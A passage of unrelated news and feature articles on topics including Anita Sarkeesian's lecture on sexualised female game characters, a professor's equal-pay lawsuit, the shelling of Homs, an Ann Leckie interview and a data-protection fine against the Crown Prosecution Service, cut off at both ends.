only one female character for a full ensemble of men. Sarkeesian specifically pointed out 2013’s “The Wonderful 101,” which features seven playable male characters who are color-coded, but only one female character, whose color is pink. Sarkeesian noted that the female character’s abilities reinforce that “‘girl’ is her personality,” pointing out that she fights with a dominatrix-esque whip and is introduced in a trailer for the game through a shots that needlessly include her underwear. Sarkeesian introduced the second trope — “Lingerie Is Not Armor,” — by showing a trailer for the 2000 game “Perfect Dark,” which depicted its female spy protagonist taking a shower, putting on makeup, and deciding on an outfit. Sarkeesian argued that game designers often think only about titillating a straight male audience when designing outfits for female characters, and jokingly suggested a solution to the problem by changing the slide to several pictures of sports bras. “They’re designed to prevent jiggle physics,” she added. Her third trope was called “One Size Does Not Fit All,” which she introduced by pointing out that almost all female characters in the game “League of Legends” are young, large-breasted, slender women. Sarkeesian stated that since sexualized women are almost the only women depicted in the medium, it reinforces that these characters’ worth is to excite the audience. She elaborated that those who point out sexualized men in games to counter her arguments are creating a false equivalency. Showing an image of the main characters from the upcoming game “Overwatch,” Sarkeesian pointed out that the male characters have a range of body types, while all but one of the female characters are sexualized. The fourth trope, humorously titled “Strategic Butt Coverings,” began with a series of clips of female player characters walking in games, all of which featured camera angles that prominently display the characters’ behinds. To contrast this, Sarkeesian showed clips of male player characters — when the player could focus the camera on a male characters’ behind, heavy clothing or capes obscured the characters’ cheeks, which contrasted sharply with the female characters. According to Sarkeesian, this emphasis on characters’ rear ends tells players that the woman’s sexual body parts are what they should focus on, rather than the character themselves, as for the men. She pointed to 2015’s “Life is Strange” as a game which avoided this problem, simply by having its female protagonist wear jeans and a knapsack. Fifth, Sarkeesian noted that women in games are overwhelmingly white, and that when women of color are depicted, it is usually through a lens of sexualized racism that caricatures these characters as “savage” or “untamable.” She pointed to “Never Alone,” a game made by an Alaskan indigenous community about their own culture, as a notable exception to this trope. Sarkeesian then pointed out the sexualization of female characters’ walking animations, comparing a clip of Catwoman in “Batman: Arkham City” to a model on a runway. Her seventh trope was titled “Fighting and Fucking are Different,” which she introduced by playing audio of a female character moaning sexually. When she revealed that this audio was of a “League of Legends” character in combat, the audience laughed. Sarkeesian extended the trope to point out that female fighting dialogue is often sexual as well and that this trope both conflates violence with sex and communicates that female sexuality is dangerous, rather than positive or fun. She indicated “Assassin’s Creed: Unity” as a recent game that avoided this trope. Finally, Sarkeesian asked the audience: “Where Are All the Female Combatants?” She pointed out that games rarely feature women as standard enemies and said that game designers she’s interviewed often say that this is done to avoid depicting violence against women. Sarkeesian said that there are ways to show female enemies without it being problematic, saying that violence against women is an issue when the violence is committed specifically because the target is a woman. A brief question-and-answer segment followed the lecture, which was this year’s Martin Weiner lecture in Computer Science, and was co-sponsored by the Computer Science department, the Office of the Provost, the Office of the Dean of Arts and Sciences, the Chief Information Officer, the English department, the Women’s Gender and Sexuality Studies program, the Sociology and Social Justice Police Program and the Women’s Studies Research Center. -A new, 2015 Galaxy Note 10.1 tablet has leaked ahead of the stylus-packing device’s official unveiling. Although Samsung has yet to shed any formal light on the existence of such a device, the 2015 Note 10.1 has popped up on the company’s official website. Spotted by the folks over at TechTastic, the Galaxy Note 10.1 (2015) has been prematurely referenced in a services and app descriptions page. It was listed as one of a number of devices compatible with a range of Samsung services. Name teasing aside, the leak has offered up no further insight into the capabilities of the 2015 Galaxy Note 10.1. The timing, however, could be particularly telling. With the 2014 Galaxy Note 10.1 having been unveiled last October, annual refresh patterns would suggest that the 2015 Galaxy Note 10.1 could be with us in the very near future. With the tablet’s name having leaked, new Galaxy Note 10.1 rumours have started to surface. One such report has suggested the device could be held off until November so as to hit retailers running Android 5.0 Lollipop direct from the box. Last year’s Note 10.1 packed a 2560 x 1600 pixel display alongside a Snapdragon 800 processor and Samsung’s S-Pen stylus. With the Galaxy Note 4 smartphone having recently jumped to a QHD panel, Snapdragon 805 chipset and a stylus with twice the sensitivity of its predecessors, we would expect any new Note tablets to follow suit. Next, read everything you need to know about the Samsung Galaxy S6 -Senators rejected dueling Republican and Democratic plans to stop rates from doubling. Student loan bills stall in Senate The Senate on Thursday voted twice to try to keep student loan interest rates low – but got nowhere. Senators rejected dueling Republican and Democratic plans to stop rates from doubling in July, because of partisan fighting – again – over how the $6-billion bill would be paid for. Story Continued Below Republicans want to divert money from a prevention fund created under the new health care law, while Democrats insist on eliminating a tax loophole for Subchapter S Corporations. Both plans were largely expected to fail to reach the 60-vote barrier to kill a filibuster. And on Thursday, neither side was budging. Senate Majority Leader Harry Reid (D-Nev.) went to the Senate floor in the morning to chastise Republicans for wanting to drain the preventive fund, which they deem an unnecessary slush fund. “The Republican proposal is paid for by stripping Americans of life-saving preventive health care,” Reid said. “The Democratic proposal is paid for by closing a loophole that allows wealthy Americans to dodge their taxes.” “It’s easy to see these two proposals were not created equal,” he added. Senate Minority Leader Mitch McConnell (R-Ky.) quickly followed, accusing Democrats of trying to manufacture a scapegoat instead of reaching across the aisle to Republicans. Closing the tax loophole for so-called S Corporations amounts to a tax increase, he said. Republicans also argue that closing the loophole, used by S Corporations to avoid paying a tax on Medicare, would redirect billions away from the health care program for the elderly. “We already know how this story ends,” McConnell said. “So why are Democrats forcing us to vote on their failed proposal yet again? Because, as I’ve said, they’re more interested in drawing our opposition — of creating a bad guy — than in actually solving the problem.” In the House, Speaker John Boehner (R-Ohio) blamed Democrats for the gridlock. “The House has passed a reasonable and responsible student loan bill and paid for it by eliminating a slush fund that the president and Democrats have already supported cutting,” Boehner said. “If the president and Senate Democratic leaders prefer a different approach, then the onus is on them to offer a solution that can pass both chambers,” “This issue can be resolved quickly if the Democrats come to the table and offer a responsible solution,” he concluded, “and we hope they will.” Democrats weren’t having it, though. “These are lobbyists, these are lawyers who have craftily used Subchapter S Corporations to avoid paying payroll taxes,” Sen. Jack Reed (D-R.I.) said. “This loophole has been criticized on the editorial pages of The Wall Street Journal … I can’t think of a clearer choice.” The Democratic bill failed 51-43. The Republicans’ bill, which mirrors legislation passed by the GOP-led House in April, failed 34-62. Sixty votes were needed to move the measures along. The Obama administration has vowed to veto the Republican bill. White House press secretary Jay Carney issued a statement after the votes blaming the GOP for the gridlock. ”With only 37 days left to stop student loan interest rates from doubling on July 1, Senate Republicans still have not proven that they’re serious about resolving this problem,” he said. Ten Republicans voted against their party’s bill, while one Democrat — Sen. Jim Webb of Virginia — rejected the Democratic version. Sen. Olympia Snowe (R-Maine) voted present on both bills to avoid conflict-of-interest issues with her husband, John McKernan, the chairman of the board of directors of the Education Management Corporation. Keeping the federal student loan interest rate at the current 3.4 percent has been one of President Barack Obama’s top priorities lately, but so far the legislation has bogged down. Without congressional action, the rate will rise to 6.8 percent in July. Preventing such an increase would save 7 million college students an average of $1,000 over the life of their loans, according to the White House. This article tagged under: Student Loans Politics -CHICAGO, IL - APRIL 29: Taj Gibson #22 of the Chicago Bulls dunks against the Washington Wizards in Game 5 of the Eastern Conference Quarterfinals in the 2014 NBA Playoffs on April 29, 2014 at the United Center in Chicago, Illinois. NOTE TO USER: User expressly acknowledges and agrees that, by downloading and/or using this photograph, user is consenting to the terms and conditions of the Getty Images License Agreement. Mandatory Copyright Notice: Copyright 2014 NBAE (Photo by Gary Dineen/NBAE via Getty Images) Bulls forward Taj Gibson. (Gary Dineen/NBAE/Getty Images) The Bulls may not be as active on the trade market right now as originally thought. After a Sporting News report surfaced that Chicago sixth man Taj Gibson had been “connected to much of the league the past few months” in trade talks, Yahoo Sports NBA insider Adrian Wojnarowski told the Spiegel and Mannelly Show on Friday morning that he’d heard nothing of that sort in his discussions. “I have not heard anything involving Taj,” Wojnarowski said. “I haven’t heard that in my conversations with team executives. I’ve heard about a lot of names coming up in trade talks. His has not been one of them. Going forward for the Bulls, do they have a decision to make on Taj? Let’s say Jimmy Butler is going to get a max offer sheet (next offseason) or they have to get in front of a max offer sheet and offer a deal close to the max. “Do they have to look at the cap and make a decision on Taj? It’s possible. But I don’t know that they have to do that now. I haven’t heard anything along those lines that they were looking to shake it up that way. That doesn’t mean it’s not true, but I haven’t heard one team mention to me that they felt Taj was available.” Gibson was at the center of many trade rumors last summer when the Bulls pursued Carmelo Anthony in free agency and were weighing options on how to offer him the most money, so it’s not surprising that Gibson’s name has popped up again. Still, the report on him being connected to “much of the league” seemed to suggest Gibson had a huge “for sale” sign hanging on him, which Wojnarowski hasn’t found to be the case. In signing the 34-year-old Pau Gasol last summer, the Bulls basically gave themselves a two-year title window with this group. So unless the return haul is something special, trading Gibson would seem contrary to Chicago’s win-now mentality anyway. While he’s been inconsistent at times, Gibson remains a key contributor who was a stalwart in Chicago’s closing lineups last season and could serve as an answer in that role again as Tom Thibodeau looks for ways to spark his struggling team. -The University of Oregon is being sued by a longtime psychology professor who alleges the UO pays her substantially less than several less-experienced male colleagues, in violation of the federal Equal Pay Act. Jennifer Freyd�s suit, filed Tuesday morning in U.S. District Court in Eugene, also includes claims alleging disparate treatment and impact, sex-based discrimination under the Equal Protection Clause, and Title IX violations. Title IX bans gender discrimination in education programs that receive federal money. �For years, I have tried to work within my department and the college to help the UO live up to its own policies of non-discrimination,� Freyd said in a statement issued by her attorneys. �Women all over the country and in all kinds of jobs earn less than their male counterparts. It�s past time for the UO to recognize and address this problem in its own salary practices.� The suit asserts that professor salaries in the psychology department are supposed to be determined by seniority and merit, and alleges that UO officials are aware of pay differences between their male and female psychology professors. University spokesman Tobin Klinger said UO officials know of Freyd�s allegations and plan to �look closely at the case in the coming days.� �Although professor Freyd�s pay places her in the top 13 percent of all tenure track faculty at the UO, we are committed to paying our faculty commensurate with their achievements,� Klinger said. Freyd�s current salary is $155,237 and her benefits package, which includes health insurance and a retirement plan, totals another $70,545, bringing her total compensation to $225,782, according to data provided by Klinger. Freyd is the psychology department�s most senior faculty member. But, according to the suit, she is paid less than three of her male colleagues �who are junior to her and similarly or less accomplished� and receives roughly the same salary as a fourth male professor who is �substantially junior.� The lawsuit did not name the colleagues or list their pay. Freyd has been a full professor in the university�s psychology department since 1992. She is a nationally known expert in sexual assault trauma, and in 2014 filed a complaint with the U.S. Department of Education alleging the university had violated a federal campus security law when it did not notify the campus community or include in a police log a sexual assault allegation against three UO basketball players. The university later expelled the players. Freyd is seeking unspecified monetary damages; a declaration that the UO has engaged in unlawful sex discrimination against her; a order that boosts her salary and benefits �to the levels they would be in the absence of discrimination� and also prohibits the UO from retaliating against her; back pay to compensate her for differences in her salary and benefits for the past six years; and an additional three years� back pay. �The psychology department recognizes and acknowledges this gender-based disparity in her salary as well as the salaries of other female professors in the department,� the suit alleges. �Despite forceful advocacy on her behalf by the head of her department and others, the University of Oregon has not rectified its sex discrimination.� The lawsuit asserts Freyd�s salary has been �infected by sex discrimination� since early in her career at the UO. In May 2014 � the same month in which she filed the complaint over the UO�s handling of the basketball players� case � Freyd provided psychology department heads with an analysis showing that female professors were being paid significantly less than their male counterparts, according to the suit. Freyd and two colleagues provided a second, similar pay analysis in April 2015. That same year, Freyd was awarded an 8-percent merit raise that still left her salary at $18,000 less than that of her closest male peer, who had seven years� less experience than she did at the time, the lawsuit says. Meanwhile, the psychology department completed its own study during the spring of 2016 that addressed a range of topics and found male professors are paid an average of about $25,000 more per year than their female counterparts, according to the suit. That study was provided to deans in the UO�s College of Arts & Sciences. The UO then appointed a committee to evaluate the psychology department. A report from the group noted gender pay disparities and recommended the department should continue �pressing for gender equity in terms of pay at the senior levels of the faculty,� the lawsuit says. Ulrich Mayr, the psychology department�s head, emailed the College of Arts & Sciences� deans in December requesting they address Freyd�s salary, which he characterized as �our most glaring inequity case,� according to the suit. Mayr asserted Freyd�s pay is as much as $50,000 below where it should be, the lawsuit says. The College of Arts & Sciences announced raises in January. Freyd earned standard pay increases but no additional raise based on requests that she and Mayr had made, according to the suit. The lawsuit did not list the increases, but it appears that her pay was boosted approximately 3 percent. A campuswide salary report issued Nov. 1 by the UO�s Office of Institutional Research lists Freyd�s annual salary as being $150,862. Andrew Marcus, dean of the College of Arts & Sciences, and Hal Sadofsky, the associate dean, met with Freyd on Jan. 18. They told her that they would not address sex discrimination in her pay, and �belittled her comments� by saying that only three men in her department earned more than her, the lawsuit says. The suit calls Freyd a pioneer in the field of the psychology of trauma, and says the UO has lauded her with its Research Innovation Award in 2009, its Excellence Award for Outstanding Mentorship in Graduate Studies in 2012, and its Faculty Research Award in 2014. Scholarly journals focus on her research, which has twice led her to be invited to the White House, according to the lawsuit. Freyd is represented by Eugene law firm Johnson Johnson Lucas and Middleton. Follow Jack on Twitter @JackMoranRG . Email jack.moran@registerguard.com . -Media playback is unsupported on your device Media caption Paul Wood in Homs says there is "nowhere to hide" for the city's people Heavy artillery fire has been rocking Homs, as Syrian troops step up an assault on the restive city. A BBC correspondent there describes almost constant blasts, in the fiercest attack in the 11-month uprising. US President Barack Obama said it was important to resolve the conflict without outside military intervention. Meanwhile, Russia and China defended their veto of a UN draft resolution criticising Syria - a move that angered opponents of President Bashar al-Assad. Later the US State Department said it had closed its embassy in Damascus and pulled out all remaining staff because of security concerns. Washington had warned in January that it would close the embassy if the government did not step up security. 'Not safe at all' Homs, one of the main centres of resistance to Mr Assad's rule, has been under attack from government forces for several days. Shelling resumed shortly after daybreak on Monday, says BBC's Paul Wood who has managed to get into the city, and hundreds of shells and mortars have been fired throughout the day. Analysis Syrian state television denied that there had been any bombardment. It said residents were setting fire to piles of rubbish on the roofs of their homes to trick the world into thinking that there was an attack. There is no doubt, however, from what we have seen and heard, that hundreds of shells and mortars have been fired at this place during the day. As I write this, the windows of the house we are in are still reverberating from the impact of a shell, probably in the next street. It is true that people have been setting fire to rubbish in the streets. They believe it will confuse the guidance systems of rockets apparently being fired at them. They are probably mistaken. People in this part of Homs say these attacks are the worst they have known since the beginning of the uprising, almost a year ago. The bombing has been going on for several days now. 'They are still picking up the bodies' Homs: 'Who will help us now?' Avoiding Syria's secret police Eyewitness Danny Abdul Dayem told the BBC the army was using rockets for the first time, with more than 300 falling on his locality since dawn. "It's not safe at all, a rocket could land in this house right now," he said Some rebels fighters have been firing automatic weapons in return, in what our correspondent calls a futile gesture. The rebels claim that the shelling has hit a field hospital in the Baba Amr district, causing casualties. However, our correspondent says this is impossible to verify. The facility is treating dozens of people wounded in previous assaults on Homs. Mr Dayem said only one field hospital with four doctors was still operating in the city, and it was virtually impossible to get additional medication without being shot. Another anti-government campaigner told the BBC the government was also using helicopters and tanks in the assault. Activists say at least 40 people were killed on Monday. Syrian state TV said "terrorist gangs" had blown up buildings in Homs. The state-run Sana news agency reported that an oil pipeline near the city had been hit by an explosion on Monday. It also blamed "terrorists". Both Syrian media and activists are also reporting clashes in the northern city of Idlib and the town of Zabadani, north-west of Damascus. The government says it is fighting foreign-backed armed groups. Thousands of former army soldiers have defected to the rebel side, forming the Free Syrian Army. The BBC's Jim Muir in neighbouring Lebanon says the conflict is beginning to look increasingly like a civil war with dangerous sectarian overtones. The uprising is largely rooted in poorer sections of the Sunni community, our correspondent says, while the government draws its support mostly from Alawites, Christians and other minorities fearful of an Islamist takeover. The Assad regime is feeling the noose tightening around them US President Barack Obama Russia keeps Syria options open 'Inexcusable' The Syrian opposition says Saturday's veto by China and Russia of a UN draft resolution condemning the crackdown will encourage the government to act without restraint. President Obama vowed to apply sanctions and put pressure on Mr Assad. "I think it is very important for us to try to resolve this without recourse to outside military intervention. And I think that's possible," he said in an interview for the NBC network's Today programme broadcast on Monday. He added that a negotiated solution was possible and said the US was "relentless" in demanding that Mr Assad leave power. "The Assad regime is feeling the noose tightening around them," he said. "We're going to just continue to put more and more pressure until hopefully we see a transition." UK Foreign Secretary William Hague described the Russian and Chinese vetoes as "a grave error of judgement". Media playback is unsupported on your device Media caption Danny Abdul Dayem in Homs: "Pieces of bodies, children, women" French President Nicolas Sarkozy said he would discuss the situation in Syria with his Russian counterpart Dmitry Medvedev later on Monday. "France and Germany will not abandon the Syrian people," Mr Sarkozy said after a meeting in Paris with German Chancellor Angela Merkel. "We will not accept that the international community remains blocked." However, Russian Foreign Minister Sergei Lavrov said the resolution, drafted by Arab and European countries, would have meant taking sides in a civil war. Speaking in Bahrain on Monday, he said encouraging "armed extremist groups" would only cause more casualties, and said Moscow supported peaceful dialogue in Syria. Mr Lavrov is due to travel to Damascus on Tuesday for talks with President Assad. Media playback is unsupported on your device Media caption Homs resident: "I watched a three-year-old girl dying" The Chinese government also defended its veto. It said the draft resolution would only have complicated matters, and said Beijing sought to "avoid the scourge of armed conflict". Human rights groups and activists say more than 7,000 people have been killed by Syrian security forces since the uprising began last March. The UN stopped estimating the death toll in Syria after it passed 5,400 in January, saying it was too difficult to confirm. President Assad's government says at least 2,000 members of the security forces have been killed fighting "armed gangs and terrorists". -"This monument reminds us all how important it is for us to respect every human being," remarks Tel Aviv Mayor Ron Huldai at the unveiling Published 10:53 PM, January 10, 2014 TEL AVIV, Israel – Israel unveiled Friday, January 10, a memorial in Tel Aviv to remember the gay and lesbian victims of Nazi persecution, in a ceremony attended by Germany's ambassador. Members of Tel Aviv's gay community turned out to see the stone monument, modelled on the pink triangle Nazis made homosexuals wear in concentration camps during World War II, and features inscriptions in German, Hebrew and English. "In addition to the extermination of Europe's Jews, the Nazis committed many atrocities, in an attempt to destroy anyone who was considered different," Tel Aviv Mayor Ron Huldai said at the unveiling. "This monument reminds us all how important it is for us to respect every human being," he said. The heart of Israel's cultural life and a bastion of secularism, Tel Aviv hosts an annual gay pride parade with relatively few objections from the country's religious community, unlike similar events in Jerusalem that have seen violence and even one stabbing. Israel is widely seen as having liberal gay rights policies, despite the hostility shown towards homosexuals, particularly men, from the ultra-orthodox Jewish community. German Ambassador Andreas Michaelis said "it is important that we put up monuments and name streets, in order to remember things that happened in the past. But they must be first and foremost reminders for the future." Adolf Hitler's Nazi Germany sent thousands of homosexuals to concentration camps in the 1930s and 1940s, and the Gestapo secret police arrested an estimated 100,000 men for being gay. – Rappler.com -KABUL, Afghanistan — Coalition forces killed the top-ranking Taliban official in restive Kunduz Province during an overnight raid, according to the Afghan police and a local governor. The officials said that Mullah Bahador, the Taliban’s shadow governor in the province, was killed late Thursday night. Abdul Rahman Saidkhaili, the provincial police chief, said the target of the raid was a house in the Chardara district. In a statement, coalition forces confirmed that they had killed an insurgent leader who “makes improvised explosive devices and suicide vests, leads a group of Taliban fighters and employs antiaircraft weapons against Afghan and coalition forces.” Coalition officials could not be reached Friday to try to confirm the name of the man who was killed. Advertisement Continue reading the main story Several suspected insurgents were arrested in the operation, the statement said. Formerly stable, Kunduz Province, which borders the former Soviet republic of Tajikistan, has become increasingly violent in the past two years, as Taliban fighters have relocated there after coalition operations against them in southern Afghanistan. Kunduz City is now nearly cut off by violence, with all roads leading out controlled by the Taliban and other armed groups. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. The governor of Kunduz was killed in October by a bomb as he prayed in a mosque, and four Taliban suicide bombers killed five policemen two weeks ago. -Last year Ann Leckie’s novel Ancillary Justice won almost every major award in science fiction. It’s the story of Breq, a hive mind consisting of a sentient starship and its crew of networked soldiers. When an act of betrayal destroys the ship and all but one member of its crew, Breq sets out in her last remaining body to seek revenge. Breq’s story is told against the backdrop of the Radsch empire, a delightfully complex and colorful milieu. Leckie worked hard to create a plausible future free of any incongruous modern trappings, a common pitfall of far-future sci-fi. “It’s more easily noticeable in older science fiction,” says Leckie in Episode 120 of the Geek’s Guide to the Galaxy podcast. “We’ve got this future society and the technology’s all very different, but people are smoking cigarettes and using slide rules, and the social relationships are exactly like they would have been in the 50s. You know, the wife is bringing in coffee.” Wives bringing in coffee is the last thing you’d find in the Radsch empire, where citizens are so indifferent to gender that men and women act and dress alike and are often hard to distinguish, especially for an AI like Breq. The Radsch language also makes no distinction between men and women, a fact that’s reflected in the text by the decision to use the pronouns “she” and “her” for every character regardless of gender. The fact that readers will never really know the genders of most of the major characters has created an interesting challenge for fan artists, who have to rely on personal impressions when it comes to depicting the characters. “It’s clear that each of these artists who’ve done this have a very definite vision in their mind of what the characters look like,” says Leckie. “And they’re all very different from each other, and they’re all very different from my internal vision of the characters, and yet at the same time they all work.” This also makes the book a bit of a Rorschach test for readers, who sometimes form strong opinions about the gender of different characters and become convinced that their guesses have been confirmed by the text. Mostly they’re wrong. “There was one review where someone was saying that … the characters are straight who are involved in sexual relationships,” says Leckie. “And I was like, ‘How do they know that?'” Listen to our complete interview with Ann Leckie in Episode 120 of Geek’s Guide to the Galaxy (above), and check out some highlights from the discussion below. Ann Leckie on the pitfalls of portraying music in fiction: “I think a lot of times our culture has an attitude toward art and the production of art that separates artists from the rest of us, like making art or music or painting or whatever is some magical thing that you have to be inspired to do, and special people do it. Sometimes when somebody will write a character who’s musical there’ll be touches of that, there’ll be an almost Mary Sue-ish ‘they play and sing beautifully and all the animals stop and listen.’ I’m exaggerating, but that kind of fetishization of music and musical talent and singing, I’m not comfortable with myself. … I feel very strongly that art—and music in particular—is something that really everybody has some kind of ability to do, and that when you separate that out as something only special people can do, who are specially talented, you cut off that avenue of artistic expression for tons of people who would be able to enjoy it otherwise, but who think of it as something they can’t do, and I feel kind of strongly about that.” Ann Leckie on writing from the point of view of Breq: “Like a lot of writers, I’m a serious introvert, and talking to strangers, going out into a place—the grocery store or whatever—and talking to somebody I don’t know is really very difficult. … In college I got a job as a waitress, and in a lot of ways it was not a fun job, but in a lot of ways it was really very beneficial, because I didn’t know how those interactions were supposed to go with people I didn’t know well. But working for several years as a waitress you learn really quickly a couple of default scripts, so you know exactly what the interaction is going to be when the person sits down at the table. And then after a few months I’m like, ‘Oh, I can switch it up a bit. I can say, ‘Hey, it’s pretty rainy outside,’ and get a particular response to that. … And that’s something I found really very useful. But what it means is that I’m not the kind of person that those interactions come to naturally, and so when I’m thinking about Breq, I’m thinking about my own experience of, ‘Here I am talking to a person, now I need to pick a script.'” Ann Leckie on criticism of her use of pronouns: “I’ve been surprised at the number of people who were really angry that I tried to convey gender neutrality by using a gendered pronoun. Even if it was ‘she,’ which undercuts a masculine default, they feel as though it would have been much better if I had used an honest-to-goodness gender-neutral pronoun, and that would have conveyed it better. People have also been feeling angry that the male characters in the story are persistently mis-gendered, because they’re continually referred to as ‘she.’ I understand where that’s coming from, and it certainly wasn’t my intention to make anybody feel like they were being maliciously mis-gendered, and in some ways I share the frustration of folks about the third person neutral pronouns. I wish they were used more. … I think at the time I was working very strongly from an assumption … that in fact gender is a binary, and the implications of that do turn up in the text, and I know some people have pointed it out, and they’re right, it’s there, and had I been writing it now I probably would have handled those moments a little bit differently, but I think I would still have gone with ‘she,’ because I think it has a much stronger, more visceral effect.” Ann Leckie on ancient religion: “It’s a common part of the narrative of the history of Christianity that it was ‘real’ religion that involved real spirituality and real faith, and that’s why it’s completely superseded the more pagan polytheistic practices. I grew up Roman Catholic in a majority Roman Catholic city, and it wasn’t until I was about college age that I discovered some of the attitudes people who aren’t Catholic have toward Roman Catholicism—that it’s pagan superstition which has been superseded by true religiousness. … I’m not Catholic anymore, I’m an atheist, but I find that really offensive and hateful. If you look at anybody’s religious beliefs and practices that aren’t yours, they seem kind of shallow, and they don’t make sense, and they don’t have any resonance. … It’s really easy to look back, particularly with the way we’re taught in school about Greek and Roman paganism, that they’re just these stories, and these stories ‘explain’ why there’s lightning or why there’s winter and why there’s spring, because otherwise they didn’t understand it, they were just so ignorant, right? I think a lot of ancient polytheistic religions worked very differently from the way that Christianity works, but I do not think they were any less important to the people who lived those religions.” -Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email The Crown Prosecution Service has been fined £200,000 by data watchdogs after sensitive video interviews given to police by victims of sex abuse and violence were stolen from a private film studio in Manchester . The filmed statements involved were given to police by 43 victims and witnesses concerned in 31 separate criminal investigations. They included testimonies of alleged victims of disgraced radio DJ Jimmy Savile’s ex-chauffeur and flatmate Ray Teret , who was subsequently jailed for 25 years in December last year for rapes and indecent assaults on young girls. The videos, saved on laptops, were being edited by Manchester-based Swan Films for the CPS to use as evidence in court. All the cases involved allegations of violence or sexual abuse. The film company used a flat on Wilmslow Road, Rusholme , as a studio. Two laptops were stolen in a burglary there in September last year. The Information Commissioner’s Office (ICO) launched an urgent investigation into the CPS’ contract with the company. The probe found the videos were not being kept in a secure environment. They were left on a desk and were password-protected, but not encrypted. The ICO said the studio had no alarm and ‘insufficient security’. The ICO’s head of enforcement, Stephen Eckersley, said the probe ruled the CPS was ‘negligent’ and failed to take into account the ‘substantial distress’ that would be caused if the videos were lost. The laptops were recovered by police eight days later. It’s understood that they hadn’t been accessed. Mr Eckersley said: “Handling videos of police interviews containing highly sensitive personal data is central to what the CPS does. "The CPS was aware of the graphic and distressing nature of the personal data contained in the videos, but was complacent in protecting that information. “The consequences of failing to keep that data safe should have been obvious to them.” The ICO said the alleged victims were vulnerable and had already endured ‘distressing interviews’. They talked openly in their statements, and named names. Mr Eckersley added: “If this information had been misused or disclosed to others, the consequences could have resulted in reprisals.” It was discovered during the probe that the CPS had been using the same film company since 2002. Arrangements surrounding collection and delivery of un-encrypted DVDs were found by the ICO to constitute an ongoing contravention of the Data Protection Act. The CPS said its contract with Swan Films was terminated immediately. Security arrangements have now been assessed and tightened. A spokesman said: “It is a matter of real regret that sensitive information was not held more securely by our external contractor, and that we, as an organisation, failed to ensure that it was. "We are grateful that the material was recovered without being accessed by those who stole the computer equipment but accept that this was fortuitous. "It is vital that victims of crime feel confident that breaches like this will not happen and, following a full review after this incident, we have strengthened the arrangements for the safe and secure handling of sensitive material.” -Getty Image Donald Trump wants to be hailed as the “Make America Great Again” president, but on Twitter, he’s known as another four-word expression: “A tweet for everything.” No matter what Trump does, there is an old tweet of his that applies (and is usually in direct opposition) to everything, especially when it comes to his predecessor, Barack Obama. There was the time the White House announced that visitor logs will not be made public (“Why does Obama believe he shouldn’t comply with record releases that his predecessors did of their own volition? Hiding something?”). Or when the Trump administration ordered an attack on Syria (“AGAIN, TO OUR VERY FOOLISH LEADER, DO NOT ATTACK SYRIA – IF YOU DO MANY VERY BAD THINGS WILL HAPPEN & FROM THAT FIGHT THE U.S. GETS NOTHING!”). Or when the president went on a 17-day vacation to play golf (“Can you believe that, with all of the problems and difficulties facing the U.S., President Obama spent the day playing golf?”). Trump’s latest “should regret, but doesn’t regret” tweet dates back to December 2014, when he wrote, “Obama has admitted that he spends his mornings watching @espn. Then he plays golf, fundraises & grants amnesty to illegals.” We already know about his propensity for playing golf, but he’s also an avid follower of ESPN. After SportsCenter host Jemele Hill called Trump a “white supremacist who has largely surrounded himself w/ other white supremacists” and “the most ignorant, offensive president of my lifetime,” he tweet-demanded that ESPN “apologize for untruth.” Obama has admitted that he spends his mornings watching @ESPN. Then he plays golf, fundraises & grants amnesty to illegals. — Donald J. Trump (@realDonaldTrump) December 16, 2014 ESPN is paying a really big price for its politics (and bad programming). People are dumping it in RECORD numbers. Apologize for untruth! — Donald J. Trump (@realDonaldTrump) September 15, 2017 A president who spends his mornings watching TV? It’s hard to believe. -HUMAN FAMILY TREE used to be a scraggly thing. With relatively few fossils to work from, scientists' best guess was that they could all be assigned to just two lineages, one of which went extinct and the other of which ultimately gave rise to us. Discoveries made over the past few decades have revealed a far more luxuriant tree, however—one abounding with branches and twigs that eventually petered out. This newfound diversity paints a much more interesting picture of our origins but makes sorting our ancestors from the evolutionary dead ends all the more challenging, as paleoanthropologist Bernard Wood explains in the pages that follow. More on this topic: The Latest Fossil Finds Make the Puzzle of Human Evolution Harder Than Ever to Solve New Evidence Shows How Human Evolution Was Shaped by Climate New Twist Added to the Role of Culture in Human Evolution -Please enable Javascript to watch this video #1 of 2: Donald Trump's indecent comments in 2005 (11 yrs ago) - were made when he was a Democrat. The hypocrisy of HilaryClinton to say.. — Susan Hutchison (@Susan_Hutch) October 8, 2016 SEATTLE -- Taking a partisan view of Donald Trump's lewd comments about women, Washington State Republican Party Chairman Susan Hutchison said Friday night that the GOP presidential nominee's "indecent comments in 2005 ... were made when he was a Democrat." She added, "The hypocrisy of Hillary Clinton to say Trump does not belong in the White House when her husband defined this behavior." Hutchison tweeted her statements after she reportedly told a Seattle news outlet that 11 years ago, Trump was channeling Bill Clinton with his crude comments at the time. #1 of 2: Donald Trump's indecent comments in 2005 (11 yrs ago) - were made when he was a Democrat. The hypocrisy of HilaryClinton to say.. — Susan Hutchison (@Susan_Hutch) October 8, 2016 #2 of 2: ...The hypocrisy of Hillary Clinton to say Trump does not belong in the White House when her husband defined this behavior. — Susan Hutchison (@Susan_Hutch) October 8, 2016 Meanwhile, the highest-ranking Republican woman in Congress, Rep. Cathy McMorris Rodgers of Washington state, has condemned Trump's crude comments. Multiple news outlets are reporting that in a Friday evening statement McMorris Rodgers said, "It is never appropriate to condone unwanted sexual advances or violence against women." She also said, "Mr. Trump must realize that it has no place in public or private conversations." She did not say she would withdraw her support for the Republican presidential candidate, to whom she had given a lukewarm endorsement. In a debate earlier this week, McMorris Rodgers said she would vote for Trump and praised his acumen as a businessman. -Submitted by Jim Quinn via The Burning Platform, “The truth is like poetry, and most people fucking hate poetry.” The Big Short opens nationwide today. But it happened to have one showing last night at a theater near me. My youngest son and I hopped in the car and went to see it. I loved the book by Michael Lewis. The cast assembled for the movie was top notch, but having the director of Anchorman and Talledaga Nights handle a subject matter like high finance seemed odd. The choice of Adam McKay as director turned out to be brilliant. The question was how do you make a movie about the housing market, mortgage backed securities, collateralized debt obligations, collateralized debt swaps, and synthetic CDOs interesting for the average person. He succeeded beyond all expectations. Interweaving pop culture icons, music, symbols of materialism, and unforgettable characters, McKay has created a masterpiece about the greed, stupidity, hubris, and arrogance of Wall Street bankers gone wild. He captures the 